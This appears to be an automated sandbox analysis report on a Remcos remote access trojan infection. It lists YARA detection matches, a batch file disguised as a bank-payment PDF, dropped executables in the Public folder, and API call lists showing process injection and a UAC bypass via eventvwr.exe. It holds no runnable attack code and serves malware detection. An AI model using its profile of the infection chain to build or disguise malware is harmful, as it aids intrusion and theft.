Source: Yara match	File source: 00000014.00000002.3879565990.000000001C118000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.1714933699.00000000027D0000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1519993639.000000007E810000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.1635427252.0000000002C00000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.3868017269.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.1661654615.000000002AB37000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1498580149.0000000002DB7000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: AnyDesk.PIF PID: 7748, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: SndVol.exe PID: 8072, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: SndVol.exe PID: 5612, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: SndVol.exe PID: 7296, type: MEMORYSTR

Source: C:\Users\Public\kn.exe

Code function: 7_2_00007FF68FCB60BC CertCreateCertificateContext,GetLastError,#357,CertAddCertificateContextToStore,GetLastError,#357,CertCompareCertificateName,CertOpenStore,GetLastError,CertAddCertificateContextToStore,GetLastError,CertFreeCertificateContext,CertCloseStore,

7_2_00007FF68FCB60BC

Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC90F58 CertAddEncodedCertificateToStore,GetLastError,#357,UuidCreate,StringFromCLSID,CryptAcquireContextW,GetLastError,CryptImportKey,GetLastError,CertSetCTLContextProperty,GetLastError,CryptDestroyKey,CryptReleaseContext,CoTaskMemFree,CertFreeCertificateContext,	7_2_00007FF68FC90F58
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCA0EF4 NCryptImportKey,#205,#359,#359,#357,	7_2_00007FF68FCA0EF4
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCD6EA8 NCryptImportKey,#360,	7_2_00007FF68FCD6EA8
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC8EA7C #357,#357,LocalAlloc,CryptCreateHash,GetLastError,CryptHashData,GetLastError,CryptGetHashParam,GetLastError,CryptImportKey,GetLastError,CryptSetKeyParam,GetLastError,CryptSetKeyParam,GetLastError,CryptCreateHash,GetLastError,CryptHashData,GetLastError,CryptHashData,GetLastError,CryptGetHashParam,GetLastError,CryptSetKeyParam,GetLastError,#357,LocalFree,LocalFree,LocalFree,CryptDestroyHash,CryptDestroyHash,	7_2_00007FF68FC8EA7C
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC629A0 #357,#357,GetLastError,#357,CryptAcquireContextW,GetLastError,CryptGetUserKey,GetLastError,CryptGetUserKey,GetLastError,#357,CryptImportKey,GetLastError,CertFreeCertificateContext,CryptReleaseContext,LocalFree,LocalFree,CryptDestroyKey,	7_2_00007FF68FC629A0
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCDA740 CryptAcquireContextW,GetLastError,#357,CryptImportKey,GetLastError,CryptDestroyKey,CryptGetUserKey,GetLastError,#358,CryptGetUserKey,GetLastError,CryptDestroyKey,#357,CryptDestroyKey,CryptReleaseContext,	7_2_00007FF68FCDA740
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC625E8 #357,#357,#357,CryptImportKey,GetLastError,#358,#357,CryptSetKeyParam,LocalFree,GetLastError,#357,#357,#357,CertFreeCertificateContext,CryptDestroyKey,	7_2_00007FF68FC625E8
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC9E1F8 CertSaveStore,GetLastError,LocalAlloc,#357,CertSaveStore,GetLastError,#357,LocalFree,#357,#357,NCryptOpenStorageProvider,NCryptImportKey,NCryptSetProperty,NCryptFinalizeKey,LocalFree,LocalFree,NCryptFreeObject,	7_2_00007FF68FC9E1F8
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC3FC20 #359,#357,NCryptOpenStorageProvider,#357,NCryptImportKey,GetLastError,#357,#357,LocalFree,LocalFree,NCryptFreeObject,#357,NCryptFreeObject,#357,	7_2_00007FF68FC3FC20
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC2F9B8 strcmp,#357,#359,NCryptOpenStorageProvider,#357,NCryptImportKey,#357,NCryptSetProperty,NCryptFinalizeKey,NCryptFreeObject,NCryptFreeObject,#359,CryptImportPKCS8,GetLastError,#357,CryptGetUserKey,GetLastError,#357,CryptGetUserKey,GetLastError,CryptDestroyKey,CryptReleaseContext,LocalFree,	7_2_00007FF68FC2F9B8
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCD98B0 #357,CryptImportPublicKeyInfo,GetLastError,#357,CryptGenKey,GetLastError,CryptGenRandom,GetLastError,#357,CryptDestroyKey,CryptGetUserKey,GetLastError,CryptImportKey,GetLastError,#357,memcmp,#357,CryptDestroyKey,CryptDestroyKey,CryptDestroyKey,LocalFree,LocalFree,LocalFree,CryptReleaseContext,	7_2_00007FF68FCD98B0
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC9184C CryptCreateHash,GetLastError,CryptHashData,GetLastError,CryptGetHashParam,GetLastError,memset,CryptGetUserKey,GetLastError,CryptGetUserKey,GetLastError,#357,CryptImportKey,GetLastError,CryptDecrypt,GetLastError,GetLastError,#357,CryptDestroyKey,CryptDestroyHash,LocalFree,CryptDestroyKey,GetLastError,#357,LocalFree,	7_2_00007FF68FC9184C
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCA342C CryptImportKey,#205,GetLastError,#357,#357,#357,SetLastError,	7_2_00007FF68FCA342C
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCD93A0 CryptGetUserKey,GetLastError,#357,CryptAcquireContextW,GetLastError,CryptImportKey,GetLastError,LocalFree,CryptDestroyKey,CryptDestroyKey,CryptReleaseContext,	7_2_00007FF68FCD93A0

System Summary

Malicious sample detected (through community Yara rule)

Source: 20.2.SndVol.exe.2cf0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 20.2.SndVol.exe.2cf0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 20.2.SndVol.exe.2cf0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: detects Windows exceutables potentially bypassing UAC using eventvwr.exe Author: ditekSHen
Source: 25.2.SndVol.exe.27d0000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 25.2.SndVol.exe.27d0000.0.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 25.2.SndVol.exe.27d0000.0.unpack, type: UNPACKEDPE	Matched rule: detects Windows exceutables potentially bypassing UAC using eventvwr.exe Author: ditekSHen
Source: 20.2.SndVol.exe.2cf0000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 20.2.SndVol.exe.2cf0000.0.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 20.2.SndVol.exe.2cf0000.0.unpack, type: UNPACKEDPE	Matched rule: detects Windows exceutables potentially bypassing UAC using eventvwr.exe Author: ditekSHen
Source: 23.2.SndVol.exe.2c00000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 23.2.SndVol.exe.2c00000.0.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 23.2.SndVol.exe.2c00000.0.raw.unpack, type: UNPACKEDPE	Matched rule: detects Windows exceutables potentially bypassing UAC using eventvwr.exe Author: ditekSHen
Source: 25.2.SndVol.exe.27d0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 25.2.SndVol.exe.27d0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 25.2.SndVol.exe.27d0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: detects Windows exceutables potentially bypassing UAC using eventvwr.exe Author: ditekSHen
Source: 23.2.SndVol.exe.2c00000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 23.2.SndVol.exe.2c00000.0.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 23.2.SndVol.exe.2c00000.0.unpack, type: UNPACKEDPE	Matched rule: detects Windows exceutables potentially bypassing UAC using eventvwr.exe Author: ditekSHen
Source: 10.2.AnyDesk.PIF.2d30000.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 10.2.AnyDesk.PIF.2d30000.2.unpack, type: UNPACKEDPE	Matched rule: detects Windows exceutables potentially bypassing UAC using eventvwr.exe Author: ditekSHen
Source: 00000019.00000002.1714933699.00000000027D0000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 00000019.00000002.1714933699.00000000027D0000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 00000019.00000002.1714933699.00000000027D0000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: detects Windows exceutables potentially bypassing UAC using eventvwr.exe Author: ditekSHen
Source: 0000000A.00000002.1519993639.000000007E810000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 00000017.00000002.1635427252.0000000002C00000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 00000017.00000002.1635427252.0000000002C00000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 00000017.00000002.1635427252.0000000002C00000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: detects Windows exceutables potentially bypassing UAC using eventvwr.exe Author: ditekSHen
Source: 00000014.00000002.3868017269.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 00000014.00000002.3868017269.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 00000014.00000002.3868017269.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: detects Windows exceutables potentially bypassing UAC using eventvwr.exe Author: ditekSHen
Source: 0000000A.00000002.1498580149.0000000002DB7000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: Process Memory Space: AnyDesk.PIF PID: 7748, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: Process Memory Space: SndVol.exe PID: 8072, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: Process Memory Space: SndVol.exe PID: 5612, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: Process Memory Space: SndVol.exe PID: 7296, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown

Found large BAT file

Source: USD470900_COPY_800BLHSBC882001.PDF.bat

Static file information: 3383372

Source: C:\Users\Public\alpha.exe	Code function: 4_2_00007FF6A0E889E4 NtQueryInformationToken,NtQueryInformationToken,	4_2_00007FF6A0E889E4
Source: C:\Users\Public\alpha.exe	Code function: 4_2_00007FF6A0E73D94 _setjmp,NtQueryInformationProcess,NtSetInformationProcess,NtSetInformationProcess,	4_2_00007FF6A0E73D94
Source: C:\Users\Public\alpha.exe	Code function: 4_2_00007FF6A0E8898C NtQueryInformationToken,	4_2_00007FF6A0E8898C
Source: C:\Users\Public\alpha.exe	Code function: 4_2_00007FF6A0EA1538 SetLastError,CreateDirectoryW,CreateFileW,RtlDosPathNameToNtPathName_U,memset,memmove,memmove,NtFsControlFile,RtlNtStatusToDosError,SetLastError,CloseHandle,RtlFreeHeap,RemoveDirectoryW,	4_2_00007FF6A0EA1538
Source: C:\Users\Public\alpha.exe	Code function: 4_2_00007FF6A0E87FF8 RtlDosPathNameToRelativeNtPathName_U_WithStatus,NtOpenFile,RtlReleaseRelativeName,RtlFreeUnicodeString,CloseHandle,NtSetInformationFile,DeleteFileW,GetLastError,	4_2_00007FF6A0E87FF8
Source: C:\Users\Public\alpha.exe	Code function: 4_2_00007FF6A0E88114 NtQueryVolumeInformationFile,GetFileInformationByHandleEx,	4_2_00007FF6A0E88114
Source: C:\Users\Public\alpha.exe	Code function: 4_2_00007FF6A0E9BCF0 fprintf,fflush,TryAcquireSRWLockExclusive,NtCancelSynchronousIoFile,ReleaseSRWLockExclusive,_get_osfhandle,FlushConsoleInputBuffer,	4_2_00007FF6A0E9BCF0
Source: C:\Users\Public\alpha.exe	Code function: 4_2_00007FF6A0E888C0 NtOpenThreadToken,NtOpenProcessToken,NtClose,	4_2_00007FF6A0E888C0
Source: C:\Users\Public\alpha.exe	Code function: 6_2_00007FF6A0E889E4 NtQueryInformationToken,NtQueryInformationToken,	6_2_00007FF6A0E889E4
Source: C:\Users\Public\alpha.exe	Code function: 6_2_00007FF6A0E73D94 _setjmp,NtQueryInformationProcess,NtSetInformationProcess,NtSetInformationProcess,	6_2_00007FF6A0E73D94
Source: C:\Users\Public\alpha.exe	Code function: 6_2_00007FF6A0E8898C NtQueryInformationToken,	6_2_00007FF6A0E8898C
Source: C:\Users\Public\alpha.exe	Code function: 6_2_00007FF6A0EA1538 SetLastError,CreateDirectoryW,CreateFileW,RtlDosPathNameToNtPathName_U,memset,memmove,memmove,NtFsControlFile,RtlNtStatusToDosError,SetLastError,CloseHandle,RtlFreeHeap,RemoveDirectoryW,	6_2_00007FF6A0EA1538
Source: C:\Users\Public\alpha.exe	Code function: 6_2_00007FF6A0E87FF8 RtlDosPathNameToRelativeNtPathName_U_WithStatus,NtOpenFile,RtlReleaseRelativeName,RtlFreeUnicodeString,CloseHandle,NtSetInformationFile,DeleteFileW,GetLastError,	6_2_00007FF6A0E87FF8
Source: C:\Users\Public\alpha.exe	Code function: 6_2_00007FF6A0E88114 NtQueryVolumeInformationFile,GetFileInformationByHandleEx,	6_2_00007FF6A0E88114
Source: C:\Users\Public\alpha.exe	Code function: 6_2_00007FF6A0E9BCF0 fprintf,fflush,TryAcquireSRWLockExclusive,NtCancelSynchronousIoFile,ReleaseSRWLockExclusive,_get_osfhandle,FlushConsoleInputBuffer,	6_2_00007FF6A0E9BCF0
Source: C:\Users\Public\alpha.exe	Code function: 6_2_00007FF6A0E888C0 NtOpenThreadToken,NtOpenProcessToken,NtClose,	6_2_00007FF6A0E888C0
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCFC964 NtQuerySystemTime,RtlTimeToSecondsSince1970,	7_2_00007FF68FCFC964
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: 10_2_02D48730 NtQueueApcThread,	10_2_02D48730
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: 10_2_02D47A2C NtAllocateVirtualMemory,	10_2_02D47A2C
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: 10_2_02D4DC8C RtlDosPathNameToNtPathName_U,NtCreateFile,NtWriteFile,NtClose,	10_2_02D4DC8C
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: 10_2_02D4DC04 RtlI,RtlDosPathNameToNtPathName_U,NtDeleteFile,	10_2_02D4DC04
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: 10_2_02D4DD70 RtlDosPathNameToNtPathName_U,NtOpenFile,NtQueryInformationFile,NtReadFile,NtClose,	10_2_02D4DD70
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: 10_2_02D47D78 NtWriteVirtualMemory,	10_2_02D47D78
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: 10_2_02D48D70 GetThreadContext,SetThreadContext,NtResumeThread,	10_2_02D48D70
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: 10_2_02D48D6E GetThreadContext,SetThreadContext,NtResumeThread,	10_2_02D48D6E
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: 10_2_02D47A2A NtAllocateVirtualMemory,	10_2_02D47A2A
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: 10_2_02D4DBB0 RtlI,RtlDosPathNameToNtPathName_U,NtDeleteFile,	10_2_02D4DBB0

Source: C:\Users\Public\alpha.exe

Code function: 4_2_00007FF6A0E75240: memset,GetFileSecurityW,GetSecurityDescriptorOwner,??_V@YAXPEAX@Z,memset,CreateFileW,DeviceIoControl,memmove,CloseHandle,??_V@YAXPEAX@Z,memset,FindClose,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,

4_2_00007FF6A0E75240

Source: C:\Users\Public\alpha.exe

Code function: 4_2_00007FF6A0E84224 InitializeProcThreadAttributeList,UpdateProcThreadAttribute,memset,memset,GetStartupInfoW,wcsrchr,lstrcmpW,SetConsoleMode,CreateProcessW,CloseHandle,CreateProcessAsUserW,_local_unwind,GetLastError,_local_unwind,_local_unwind,CloseHandle,DeleteProcThreadAttributeList,GetLastError,GetLastError,DeleteProcThreadAttributeList,

4_2_00007FF6A0E84224

Source: C:\Users\Public\alpha.exe	Code function: 4_2_00007FF6A0E84224	4_2_00007FF6A0E84224
Source: C:\Users\Public\alpha.exe	Code function: 4_2_00007FF6A0E85554	4_2_00007FF6A0E85554
Source: C:\Users\Public\alpha.exe	Code function: 4_2_00007FF6A0E80A6C	4_2_00007FF6A0E80A6C
Source: C:\Users\Public\alpha.exe	Code function: 4_2_00007FF6A0E7AA54	4_2_00007FF6A0E7AA54
Source: C:\Users\Public\alpha.exe	Code function: 4_2_00007FF6A0E837D8	4_2_00007FF6A0E837D8
Source: C:\Users\Public\alpha.exe	Code function: 4_2_00007FF6A0E9AA30	4_2_00007FF6A0E9AA30
Source: C:\Users\Public\alpha.exe	Code function: 4_2_00007FF6A0E74A30	4_2_00007FF6A0E74A30
Source: C:\Users\Public\alpha.exe	Code function: 4_2_00007FF6A0E72220	4_2_00007FF6A0E72220
Source: C:\Users\Public\alpha.exe	Code function: 4_2_00007FF6A0E7CE10	4_2_00007FF6A0E7CE10
Source: C:\Users\Public\alpha.exe	Code function: 4_2_00007FF6A0E78DF8	4_2_00007FF6A0E78DF8
Source: C:\Users\Public\alpha.exe	Code function: 4_2_00007FF6A0E9D9D0	4_2_00007FF6A0E9D9D0
Source: C:\Users\Public\alpha.exe	Code function: 4_2_00007FF6A0E781D4	4_2_00007FF6A0E781D4
Source: C:\Users\Public\alpha.exe	Code function: 4_2_00007FF6A0EA1538	4_2_00007FF6A0EA1538
Source: C:\Users\Public\alpha.exe	Code function: 4_2_00007FF6A0E7372C	4_2_00007FF6A0E7372C
Source: C:\Users\Public\alpha.exe	Code function: 4_2_00007FF6A0E97F00	4_2_00007FF6A0E97F00
Source: C:\Users\Public\alpha.exe	Code function: 4_2_00007FF6A0E76EE4	4_2_00007FF6A0E76EE4
Source: C:\Users\Public\alpha.exe	Code function: 4_2_00007FF6A0E9EE88	4_2_00007FF6A0E9EE88
Source: C:\Users\Public\alpha.exe	Code function: 4_2_00007FF6A0E7E680	4_2_00007FF6A0E7E680
Source: C:\Users\Public\alpha.exe	Code function: 4_2_00007FF6A0E77650	4_2_00007FF6A0E77650
Source: C:\Users\Public\alpha.exe	Code function: 4_2_00007FF6A0E7D250	4_2_00007FF6A0E7D250
Source: C:\Users\Public\alpha.exe	Code function: 4_2_00007FF6A0E79E50	4_2_00007FF6A0E79E50
Source: C:\Users\Public\alpha.exe	Code function: 4_2_00007FF6A0E75240	4_2_00007FF6A0E75240
Source: C:\Users\Public\alpha.exe	Code function: 4_2_00007FF6A0E73410	4_2_00007FF6A0E73410
Source: C:\Users\Public\alpha.exe	Code function: 4_2_00007FF6A0E76BE0	4_2_00007FF6A0E76BE0
Source: C:\Users\Public\alpha.exe	Code function: 4_2_00007FF6A0E9AFBC	4_2_00007FF6A0E9AFBC
Source: C:\Users\Public\alpha.exe	Code function: 4_2_00007FF6A0E73F90	4_2_00007FF6A0E73F90
Source: C:\Users\Public\alpha.exe	Code function: 4_2_00007FF6A0E75B70	4_2_00007FF6A0E75B70
Source: C:\Users\Public\alpha.exe	Code function: 4_2_00007FF6A0E79B50	4_2_00007FF6A0E79B50
Source: C:\Users\Public\alpha.exe	Code function: 4_2_00007FF6A0E77D30	4_2_00007FF6A0E77D30
Source: C:\Users\Public\alpha.exe	Code function: 4_2_00007FF6A0E78510	4_2_00007FF6A0E78510
Source: C:\Users\Public\alpha.exe	Code function: 4_2_00007FF6A0E7B0D8	4_2_00007FF6A0E7B0D8
Source: C:\Users\Public\alpha.exe	Code function: 4_2_00007FF6A0E818D4	4_2_00007FF6A0E818D4
Source: C:\Users\Public\alpha.exe	Code function: 4_2_00007FF6A0E71884	4_2_00007FF6A0E71884
Source: C:\Users\Public\alpha.exe	Code function: 4_2_00007FF6A0E72C48	4_2_00007FF6A0E72C48
Source: C:\Users\Public\alpha.exe	Code function: 4_2_00007FF6A0E87854	4_2_00007FF6A0E87854
Source: C:\Users\Public\alpha.exe	Code function: 4_2_00007FF6A0E9AC4C	4_2_00007FF6A0E9AC4C
Source: C:\Users\Public\alpha.exe	Code function: 6_2_00007FF6A0E84224	6_2_00007FF6A0E84224
Source: C:\Users\Public\alpha.exe	Code function: 6_2_00007FF6A0E85554	6_2_00007FF6A0E85554
Source: C:\Users\Public\alpha.exe	Code function: 6_2_00007FF6A0E80A6C	6_2_00007FF6A0E80A6C
Source: C:\Users\Public\alpha.exe	Code function: 6_2_00007FF6A0E7AA54	6_2_00007FF6A0E7AA54
Source: C:\Users\Public\alpha.exe	Code function: 6_2_00007FF6A0E837D8	6_2_00007FF6A0E837D8
Source: C:\Users\Public\alpha.exe	Code function: 6_2_00007FF6A0E9AA30	6_2_00007FF6A0E9AA30
Source: C:\Users\Public\alpha.exe	Code function: 6_2_00007FF6A0E74A30	6_2_00007FF6A0E74A30
Source: C:\Users\Public\alpha.exe	Code function: 6_2_00007FF6A0E72220	6_2_00007FF6A0E72220
Source: C:\Users\Public\alpha.exe	Code function: 6_2_00007FF6A0E7CE10	6_2_00007FF6A0E7CE10
Source: C:\Users\Public\alpha.exe	Code function: 6_2_00007FF6A0E78DF8	6_2_00007FF6A0E78DF8
Source: C:\Users\Public\alpha.exe	Code function: 6_2_00007FF6A0E9D9D0	6_2_00007FF6A0E9D9D0
Source: C:\Users\Public\alpha.exe	Code function: 6_2_00007FF6A0E781D4	6_2_00007FF6A0E781D4
Source: C:\Users\Public\alpha.exe	Code function: 6_2_00007FF6A0EA1538	6_2_00007FF6A0EA1538
Source: C:\Users\Public\alpha.exe	Code function: 6_2_00007FF6A0E7372C	6_2_00007FF6A0E7372C
Source: C:\Users\Public\alpha.exe	Code function: 6_2_00007FF6A0E97F00	6_2_00007FF6A0E97F00
Source: C:\Users\Public\alpha.exe	Code function: 6_2_00007FF6A0E76EE4	6_2_00007FF6A0E76EE4
Source: C:\Users\Public\alpha.exe	Code function: 6_2_00007FF6A0E9EE88	6_2_00007FF6A0E9EE88
Source: C:\Users\Public\alpha.exe	Code function: 6_2_00007FF6A0E7E680	6_2_00007FF6A0E7E680
Source: C:\Users\Public\alpha.exe	Code function: 6_2_00007FF6A0E77650	6_2_00007FF6A0E77650
Source: C:\Users\Public\alpha.exe	Code function: 6_2_00007FF6A0E7D250	6_2_00007FF6A0E7D250
Source: C:\Users\Public\alpha.exe	Code function: 6_2_00007FF6A0E79E50	6_2_00007FF6A0E79E50
Source: C:\Users\Public\alpha.exe	Code function: 6_2_00007FF6A0E75240	6_2_00007FF6A0E75240
Source: C:\Users\Public\alpha.exe	Code function: 6_2_00007FF6A0E73410	6_2_00007FF6A0E73410
Source: C:\Users\Public\alpha.exe	Code function: 6_2_00007FF6A0E76BE0	6_2_00007FF6A0E76BE0
Source: C:\Users\Public\alpha.exe	Code function: 6_2_00007FF6A0E9AFBC	6_2_00007FF6A0E9AFBC
Source: C:\Users\Public\alpha.exe	Code function: 6_2_00007FF6A0E73F90	6_2_00007FF6A0E73F90
Source: C:\Users\Public\alpha.exe	Code function: 6_2_00007FF6A0E75B70	6_2_00007FF6A0E75B70
Source: C:\Users\Public\alpha.exe	Code function: 6_2_00007FF6A0E79B50	6_2_00007FF6A0E79B50
Source: C:\Users\Public\alpha.exe	Code function: 6_2_00007FF6A0E77D30	6_2_00007FF6A0E77D30
Source: C:\Users\Public\alpha.exe	Code function: 6_2_00007FF6A0E78510	6_2_00007FF6A0E78510
Source: C:\Users\Public\alpha.exe	Code function: 6_2_00007FF6A0E7B0D8	6_2_00007FF6A0E7B0D8
Source: C:\Users\Public\alpha.exe	Code function: 6_2_00007FF6A0E818D4	6_2_00007FF6A0E818D4
Source: C:\Users\Public\alpha.exe	Code function: 6_2_00007FF6A0E71884	6_2_00007FF6A0E71884
Source: C:\Users\Public\alpha.exe	Code function: 6_2_00007FF6A0E72C48	6_2_00007FF6A0E72C48
Source: C:\Users\Public\alpha.exe	Code function: 6_2_00007FF6A0E87854	6_2_00007FF6A0E87854
Source: C:\Users\Public\alpha.exe	Code function: 6_2_00007FF6A0E9AC4C	6_2_00007FF6A0E9AC4C
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCEF020	7_2_00007FF68FCEF020
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC12F38	7_2_00007FF68FC12F38
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCECCB8	7_2_00007FF68FCECCB8
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCEC120	7_2_00007FF68FCEC120
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCEBC10	7_2_00007FF68FCEBC10
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FD13800	7_2_00007FF68FD13800
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCC511C	7_2_00007FF68FCC511C
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC5D094	7_2_00007FF68FC5D094
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC4107C	7_2_00007FF68FC4107C
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC1B09C	7_2_00007FF68FC1B09C
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC01030	7_2_00007FF68FC01030
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCA4F94	7_2_00007FF68FCA4F94
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC34F90	7_2_00007FF68FC34F90
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC28F1C	7_2_00007FF68FC28F1C
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC3EED4	7_2_00007FF68FC3EED4
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC06EF4	7_2_00007FF68FC06EF4
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCE8EAC	7_2_00007FF68FCE8EAC
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCE4E58	7_2_00007FF68FCE4E58
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC76D7C	7_2_00007FF68FC76D7C
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC2EDA4	7_2_00007FF68FC2EDA4
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCE2D6C	7_2_00007FF68FCE2D6C
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC5CD10	7_2_00007FF68FC5CD10
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC92CF8	7_2_00007FF68FC92CF8
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC18D00	7_2_00007FF68FC18D00
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC58D2C	7_2_00007FF68FC58D2C
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC62D18	7_2_00007FF68FC62D18
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCF8CF4	7_2_00007FF68FCF8CF4
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC7CC80	7_2_00007FF68FC7CC80
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC9CCA8	7_2_00007FF68FC9CCA8
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FD0CC8C	7_2_00007FF68FD0CC8C
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCD8C58	7_2_00007FF68FCD8C58
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC0AC08	7_2_00007FF68FC0AC08
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC4CBFC	7_2_00007FF68FC4CBFC
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC50C28	7_2_00007FF68FC50C28
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC78BD4	7_2_00007FF68FC78BD4
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCB6B94	7_2_00007FF68FCB6B94
